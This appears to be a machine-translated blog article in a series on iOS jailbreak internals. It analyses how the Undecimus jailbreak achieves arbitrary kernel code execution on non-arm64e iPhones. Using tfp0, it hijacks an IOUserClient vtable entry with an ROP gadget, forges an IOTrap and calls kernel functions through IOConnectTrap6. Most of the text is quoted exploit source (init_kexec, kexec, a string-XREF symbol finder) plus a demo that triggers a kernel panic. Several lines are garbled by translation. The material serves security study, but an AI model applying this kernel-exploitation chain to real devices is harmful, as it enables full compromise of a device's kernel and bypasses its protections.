series

  1. IOS Jailbreak Principles – Sock Port (UI
  2. IOS Jailbreak Principles – Sock Port (2) Leak the Port Address through Mach OOL Message
  3. IOS Jailbreak Principles – Sock Port (CST
  4. IOS Jailbreak Principles – Sock Port
  5. IOS Jailbreak Principles – Undecimus Analysis
  6. Locate kernel data by String XREF

preface

In the previous article, we introduced a string-based cross-reference approach to locating kernel data, based on which we can locate variable and function addresses. This article describes the process of implementing arbitrary code execution in the kernel by combining TFP0, String XREF positioning, and IOTrap. Once Primitive is implemented, we can execute kernel functions with root privileges and have more control over the kernel.

Kexec overview

In Undecimus, kernel arbitrary code execution is implemented through ROP gadgets. The specific method is to hijack the function pointer of a system, point it to the function you want to call, then prepare parameters according to the function pointer prototype of the hijacked place, and finally try to trigger the system to call the hijacked pointer.

Find a function pointer that can be hijacked

To implement the ABOVE ROP, one key is to find a function pointer call that can be triggered in Userland and is easy to hijack. The other key is that the prototype of the function pointer better support a variable number of arguments, otherwise it will cause trouble in parameter preparation. Fortunately, the IOTrap mechanism provided in IOKit satisfies all of these requirements.

IOKit provides the IOConnectTrapX function for Userland to trigger the IOTrap registered with IOUserClient, where X represents the number of parameters. A maximum of 6 entries are supported:

kern_return_t
IOConnectTrap6(io_connect_t	connect,
	       uint32_t		index,
	       uintptr_t	p1,
	       uintptr_t	p2,
	       uintptr_t	p3,
	       uintptr_t	p4,
	       uintptr_t	p5,
	       uintptr_t	p6 )
{
    return iokit_user_client_trap(connect, index, p1, p2, p3, p4, p5, p6);
}
Copy the code

The call to userland corresponds to the iokit_user_client_trap function in the kernel, which is implemented as follows:

kern_return_t iokit_user_client_trap(struct iokit_user_client_trap_args *args)
{
    kern_return_t result = kIOReturnBadArgument;
    IOUserClient *userClient;

    if ((userClient = OSDynamicCast(IOUserClient,
            iokit_lookup_connect_ref_current_task((mach_port_name_t) (uintptr_t)args->userClientRef)))) {
        IOExternalTrap *trap;
        IOService *target = NULL;

        // find a trap
        trap = userClient->getTargetAndTrapForIndex(&target, args->index);

        if (trap && target) {
            IOTrap func;

            func = trap->func;

            if (func) {
                result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6);
            }
        }

	iokit_remove_connect_reference(userClient);
    }

    return result;
}
Copy the code

This code converts the IOUserClient handle passed in from Userland into a kernel object, and then retrives the IOTrap function pointer from userClient to execute. So by hijacking getTargetAndTrapForIndex and returning a deliberately constructed IOTrap, you can tamper with the target->*func executed by the kernel; Even better, the function’s input is exactly what Userland used to call IOConnectTrapX.

Let’s look at the getTargetAndTrapForIndex implementation:

IOExternalTrap * IOUserClient::
getTargetAndTrapForIndex(IOService ** targetP, UInt32 index)
{
    IOExternalTrap *trap = getExternalTrapForIndex(index);
    
    if (trap) {
        *targetP = trap->object;
    }
    
    return trap;
}
Copy the code

IOTrap is returned from the getExternalTrapForIndex method, which is null by default:

IOExternalTrap * IOUserClient::
getExternalTrapForIndex(UInt32 index)
{
    return NULL;
}
Copy the code

IOUserClient () {IOUserClient () {IOUserClient ();

class IOUserClient : public IOService {
    // ...
    // Methods for accessing trap vector - old and new style
    virtual IOExternalTrap * getExternalTrapForIndex( UInt32 index ) APPLE_KEXT_DEPRECATED;
    // ...
};
Copy the code

Since it is a virtual function, we can modify the virtual function table of the userClient object with tfp0, tamper with the virtual function pointer of getExternalTrapForIndex to point to our ROP Gadget, and construct the IOTrap return here.

Implementation function hijacking

In the Undecimus source code, the virtual pointer to getExternalTrapForIndex is pointed to an instruction area that already exists in the kernel:

add x0, x0, #0x40
ret
Copy the code

There is no manual construction of instructions, presumably because of the high cost of constructing an executable page and the simplicity of reusing an existing instruction area. Let’s look at what these two instructions do.

Because getExternalTrapForIndex is an instance method, its x0 is the implied parameter this, so getExternalTrapForIndex returns this + 0x40, We want to store a deliberately constructed IOTrap structure at userClient + 0x40:

struct IOExternalTrap {
    IOService *		object;
    IOTrap		func;
};
Copy the code

Recall the IOTrap execution process:

trap = userClient->getTargetAndTrapForIndex(&target, args->index);
if (trap && target) {
    IOTrap func;

    func = trap->func;

    if(func) { result = (target->*func)(args->p1, args->p2, args->p3, args->p4, args->p5, args->p6); }}Copy the code

The target object is the IOTrap object, which is used as the implicit argument to the function call this; Func is the pointer to the function being called. At this point everything is clear:

  1. Write trap->func to execute any function.
  2. IOConnectTrap6 = IOConnectTrap6 = IOConnectTrap6 = IOConnectTrap6 = IOConnectTrap6 = IOConnectTrap6

Kexec code implementation

The above discussion is relatively macro and leaves out some important details, which will be analyzed in detail with the Undecimus source code.

PAC challenges

Since the iPhone XS, Apple has extended a technology called Pointer Authentication Code (PAC) to ARM processors. It signs Pointers and return addresses using a specific key register and checks the signature when used. Once the check fails, an invalid address will be solved to cause Crash, which adds extended instructions for various common addressing instructions [1] :

BLR -> BLRA*
LDRA -> LDRA*
RET -> RETA*
Copy the code

This technique caused a lot of trouble for our ROP, and a series of special treatments for PAC were done in Undecimus. The whole process is very complicated and will not be covered in this article, but PAC mitigation measures and their circumvention will be detailed in the following articles. Interested readers can read about it by Examining Pointer Authentication on the iPhone XS.

Virtual function hijacking

We know that the virtual table pointer of a C++ object is located at the starting address of the object, and the virtual table holds the pointer to the instance method by offset [2], so we only need to determine the offset of getExternalTrapForIndex. ROP can be realized by tampering with the address that the virtual function points to using TFP0.

The source code for Undecimus is located in init_kexec. Let’s ignore arm64e’s handling of PAC and learn about its vtable patch method. The following code contains nine key steps, with key notes:

bool init_kexec(a)
{
#if __arm64e__
    if(! parameters_init())return false;
    kernel_task_port = tfp0;
    if(! MACH_PORT_VALID(kernel_task_port))return false;
    current_task = ReadKernel64(task_self_addr() + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT));
    if(! KERN_POINTER_VALID(current_task))return false;
    kernel_task = ReadKernel64(getoffset(kernel_task));
    if(! KERN_POINTER_VALID(kernel_task))return false;
    if(! kernel_call_init())return false;
#else

    1. Create an IOUserClient
    user_client = prepare_user_client();
    if(! MACH_PORT_VALID(user_client))return false;

    // From v0rtex - get the IOSurfaceRootUserClient port, and then the address of the actual client, and vtable
    // 2. Obtain the kernel address of IOUserClient, which is an ipc_port
    IOSurfaceRootUserClient_port = get_address_of_port(proc_struct_addr(), user_client); // UserClients are just mach_ports, so we find its address
    if(! KERN_POINTER_VALID(IOSurfaceRootUserClient_port))return false;

    // 3. Obtain the IOUserClient from ipc_port-> kObject
    IOSurfaceRootUserClient_addr = ReadKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); // The UserClient itself (the C++ object) is at the kobject field
    if(! KERN_POINTER_VALID(IOSurfaceRootUserClient_addr))return false;

    // 4. The virtual pointer is at the starting address of the C++ object
    kptr_t IOSurfaceRootUserClient_vtab = ReadKernel64(IOSurfaceRootUserClient_addr); // vtables in C++ are at *object
    if(! KERN_POINTER_VALID(IOSurfaceRootUserClient_vtab))return false;

    // The aim is to create a fake client, with a fake vtable, and overwrite the existing client with the fake one
    // Once we do that, we can use IOConnectTrap6 to call functions in the kernel as the kernel

    // Create the vtable in the kernel memory, then copy the existing vtable into there
    // 5. Construct and copy the virtual table
    fake_vtable = kmem_alloc(fake_kalloc_size);
    if(! KERN_POINTER_VALID(fake_vtable))return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_vtable + i * 8, ReadKernel64(IOSurfaceRootUserClient_vtab + i * 8));
    }

    // Create the fake user client
    // 6. Construct an IOUserClient object and copy the contents of IOUserClient from the kernel into the constructed object
    fake_client = kmem_alloc(fake_kalloc_size);
    if(! KERN_POINTER_VALID(fake_client))return false;

    for (int i = 0; i < 0x200; i++) {
        WriteKernel64(fake_client + i * 8, ReadKernel64(IOSurfaceRootUserClient_addr + i * 8));
    }

    // Write our fake vtable into the fake user client
    Write the constructed virtual function table to the constructed IOUserClient object
    WriteKernel64(fake_client, fake_vtable);

    // Replace the user client with ours
    // 8. Write the constructed IOUserClient object back to the ipc_port corresponding to IOUserClient
    WriteKernel64(IOSurfaceRootUserClient_port + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT), fake_client);

    // Now the userclient port we have will look into our fake user client rather than the old one

    // Replace IOUserClient::getExternalTrapForIndex with our ROP gadget (add x0, x0, #0x40; ret;)
    Write the address of the specified instruction area to the 183rd Entity in the virtual table
    // This corresponds to the address of getExternalTrapForIndex
    WriteKernel64(fake_vtable + 8 * 0xB7, getoffset(add_x0_x0_0x40_ret));

#endif
    pthread_mutex_init(&kexec_lock, NULL);
    return true;
}
Copy the code

Now that we have modified the getExternalTrapForIndex logic of userClient, we just need to call IOConnectTrap6 to userClient to implement ROP attack. The remaining key step is to prepare the IOTrap as the return value of the ROP Gadget.

Tectonic IOTrap

Because getExternalTrapForIndex is pointing to the following directive:

add x0, x0, #0x40
ret
Copy the code

We need to construct an IOTrap at userClient + 0x40:

struct IOExternalTrap {
    IOService *		object;
    IOTrap		func;
};
Copy the code

According to the previous discussion, object should be assigned the address of the 0th argument of the called function, func should be assigned the address of the called function, and the first to sixth arguments of the function should be passed in through the args of IOConnectTrap. Let’s look at a concrete implementation of Kexec in Undecimus, with some additional comments:

kptr_t kexec(kptr_t ptr, kptr_t x0, kptr_t x1, kptr_t x2, kptr_t x3, kptr_t x4, kptr_t x5, kptr_t x6)
{
    kptr_t returnval = 0;
    pthread_mutex_lock(&kexec_lock);
#if __arm64e__
    returnval = kernel_call_7(ptr, 7, x0, x1, x2, x3, x4, x5, x6);
#else
    // When calling IOConnectTrapX, this makes a call to iokit_user_client_trap, which is the user->kernel call (MIG). This then calls IOUserClient::getTargetAndTrapForIndex
    // to get the trap struct (which contains an object and the function pointer itself). This function calls IOUserClient::getExternalTrapForIndex, which is expected to return a trap.
    // This jumps to our gadget, which returns +0x40 into our fake user_client, which we can modify. The function is then called on the object. But how C++ actually works is that the
    // function is called with the first arguement being the object (referenced as `this`). Because of that, the first argument of any function we call is the object, and everything else is passed
    // through like normal.

    // Because the gadget gets the trap at user_client+0x40, we have to overwrite the contents of it
    // We will pull a switch when doing so - retrieve the current contents, call the trap, put back the contents
    // (i'm not actually sure if the switch back is necessary but meh)

    // IOTrap starts at +0x40
    // fake_client is our constructed userClient
    Offx28 is IOTrap->func, where the original value is backed up
    kptr_t offx20 = ReadKernel64(fake_client + 0x40);
    kptr_t offx28 = ReadKernel64(fake_client + 0x48);
    
    // IOTrap->object = arg0
    WriteKernel64(fake_client + 0x40, x0);
    // IOTrap->func = func_ptr
    WriteKernel64(fake_client + 0x48, ptr);
    
    // x1 to x6 are the first to sixth parameters of the function. The 0th parameter is passed in through trap->object
    returnval = IOConnectTrap6(user_client, 0, x1, x2, x3, x4, x5, x6);
    
    // Restore the original value
    WriteKernel64(fake_client + 0x40, offx20);
    WriteKernel64(fake_client + 0x48, offx28);
#endif
    pthread_mutex_unlock(&kexec_lock);
    return returnval;
}
Copy the code

This code is fairly easy to understand based on the discussion above. This will cover the implementation of any code in the non-ARM64E kernel. The discussion of ARM64e will continue in the next article, but let’s use Kexec to verify the implementation of Primitive.

Kexec experiment

Environment to prepare

Open the jailbreak.m of Undecimus source and search _assert(init_kexec() to locate the code that initializes kexec, Scroll up to see that kexec initialization is placed after ShenanigansPatch and setuid(0). ShenanigansPatch is designed to circumvent the kernel’s UCRED check for sandboxed processes [3]. It is implemented by using String XREF to locate and modify kernel global variables. Interested readers can read Shenanigans, Shenanigans! To get to know.

For non-ARM64E devices, it seems that kEXEC can be implemented only through TFP0, and this should be the necessary lift for arm64E devices to bypass PAC.

Our experimental code must be placed after init_kexec is successfully executed.

Gets the address of a kernel function

The addresses of many key functions are obtained in Undecimus, which implement dynamic lookup and caching by declaring an export symbol named find_xxx. Note that kerneldump has been freed after kexec initialization. Therefore, the address of the function must be calculated when kerneldump is initialized.

In the patchfinder64.h file, we need to declare a function named find_

that returns the address of the symbol being searched:

uint64_t find_vnode_lookup(void);
Copy the code

The implementation of the lookup is then completed based on String XREF:

addr_t find_vnode_lookup(void) {
    addr_t hfs_str = find_strref("hfs: journal open cb: error %d looking up device %s (dev uuid %s)\n".1, string_base_pstring, false.false);
    if(! hfs_str)return 0;
    
    hfs_str -= kerndumpbase;

    addr_t call_to_stub = step64_back(kernel, hfs_str, 10*4, INSN_CALL);
    if(! call_to_stub)return 0;
    
    return follow_stub(kernel, call_to_stub);
}
Copy the code

The search is then completed in the kerneldump phase with the macro function find_offset:

find_offset(vnode_lookup, NULL.true);
Copy the code

The above macro calls find_

dynamically and caches the result. The getoffset macro is then used to get the offset: find_

kptr_t const function = getoffset(vnode_lookup);
Copy the code

Here we create a panic offset as follows:

uint64_t find_panic(void)
{
    addr_t ref = find_strref("\"shenanigans!".1, string_base_pstring, false.false);
    
    if(! ref) {return 0;
    }
    
    return ref + 0x4;
}
Copy the code

The code looked for here is the panic statement in sandbox.kext:

panic("\"shenanigans! \ "");
Copy the code

By using String XREF, we can locate the add instruction before the panic call. The next instruction must be BL _panic, so we can find the address of the panic function in the kernel by + 4.

Calling kernel functions

(SMAP); (SMAP); (SMAP); (SMAP); (SMAP)

// play with kexec
uint64_t function = getoffset(panic);
const char *testStr = "this panic is caused by userland!!!!!!!!!!!!!!!";
kptr_t kstr = kmem_alloc(strlen(testStr));
kwrite(kstr, testStr, strlen(testStr));
kptr_t ret = kexec(function, (kptr_t)kstr, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL, KPTR_NULL);
NSLog(@"result is %@", @(ret));
kmem_free(kstr, sizeof(testStr));
Copy the code

Then run Undecimus and a kernel panic will occur. To verify that we successfully called the kernel panic function, open the Settings page on iPhone and open Privacy->Analytics->Analytics Data. If the test is successful, you can see the following:

conclusion

This article introduces in detail the process and principle of implementing KEXEC through TFP0 in non-ARM64E architecture, which can give readers inspiration to construct ROP gadgets. Starting with the next article, we will examine PAC mitigation measures and their circumvention techniques.

The resources

  1. Brandon Azad, Project Zero. Examining Pointer Authentication on the iPhone XS
  2. Malecrab. C/C++ miscellany: The fundamentals of virtual function implementation
  3. stek29.rocks. Shenanigans, Shenanigans!
  4. pwn20wndstuff. Undecimus